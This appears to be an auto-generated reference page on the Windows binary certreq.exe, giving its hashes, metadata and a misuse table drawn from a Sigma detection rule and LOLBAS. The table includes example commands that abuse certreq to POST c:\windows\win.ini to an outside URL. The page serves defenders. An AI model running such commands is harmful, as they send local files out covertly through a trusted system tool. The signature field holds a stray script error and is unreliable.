certreq.exe

  • File Path: C:\windows\SysWOW64\certreq.exe
  • Description: CertReq.exe

Screenshot

certreq.exe

Hashes

Type Hash
MD5 736F623EC009672F7FC2C2935B2498D4
SHA1 6171A607D7EF2F6A1BC008E061A5DB33C3E60A2D
SHA256 81956C77DF1E2006AD328D98BE39F837CCD044C172739237E330E850C86CA4F2
SHA384 0D31B1B584B751EF949A51C7D4A0171E26AB0240D8F3071D420ADB591EA9CDEC143801A57D1845447B96248681C22F7B
SHA512 F041857145111C1FA4499BDAF612BDB4443548D8BB778749127E18196687B4389BC192050809AD8CD5F9A2DFB4F816BA83D9276B9771E349C00682FE5DB6A495
SSDEEP 6144:/jjTEnjszN9nXbK7FKwdGBkvuvCyuqVlbkuK1K08AqkB:bjTEnjszN9nXq0kAkGvluqnXvk

Signature

  • Status: The file C:\windows\SysWOW64\certreq.exe is not digitally signed. You cannot run this script on the current system. For more information about running scripts and setting execution policy, see about_Execution_Policies at http://go.microsoft.com/fwlink/?LinkID=135170
  • Serial: ``
  • Thumbprint: ``
  • Issuer:
  • Subject:

File Metadata

  • Original Filename: CertReq.exe.mui
  • Product Name: Microsoft Windows Operating System
  • Company Name: Microsoft Corporation
  • File Version: 6.3.9600.16384 (winblue_rtm.130821-1623)
  • Product Version: 6.3.9600.16384
  • Language: English (United States)
  • Legal Copyright: Microsoft Corporation. All rights reserved.

Possible Misuse

The following table contains possible examples of certreq.exe being misused. While certreq.exe is not inherently malicious, its legitimate functionality can be abused for malicious purposes.

Source Source File Example License
sigma proc_creation_win_susp_certreq_download.yml title: Suspicious Certreq Command to Download DRL 1.0
sigma proc_creation_win_susp_certreq_download.yml description: Detects a suspicious certreq execution taken from the LOLBAS examples, which can be abused to download (small) files DRL 1.0
sigma proc_creation_win_susp_certreq_download.yml - https://lolbas-project.github.io/lolbas/Binaries/Certreq/ DRL 1.0
sigma proc_creation_win_susp_certreq_download.yml Image\|endswith: '\certreq.exe' DRL 1.0
LOLBAS Certreq.yml Name: CertReq.exe  
LOLBAS Certreq.yml - Command: CertReq -Post -config https://example.org/ c:\windows\win.ini output.txt  
LOLBAS Certreq.yml - Command: CertReq -Post -config https://example.org/ c:\windows\win.ini and show response in terminal  
LOLBAS Certreq.yml - Path: C:\Windows\System32\certreq.exe  
LOLBAS Certreq.yml - Path: C:\Windows\SysWOW64\certreq.exe  
LOLBAS Certreq.yml - IOC: certreq creates new files  
LOLBAS Certreq.yml - IOC: certreq makes POST requests  
LOLBAS Certreq.yml - Link: https://dtm.uk/certreq  

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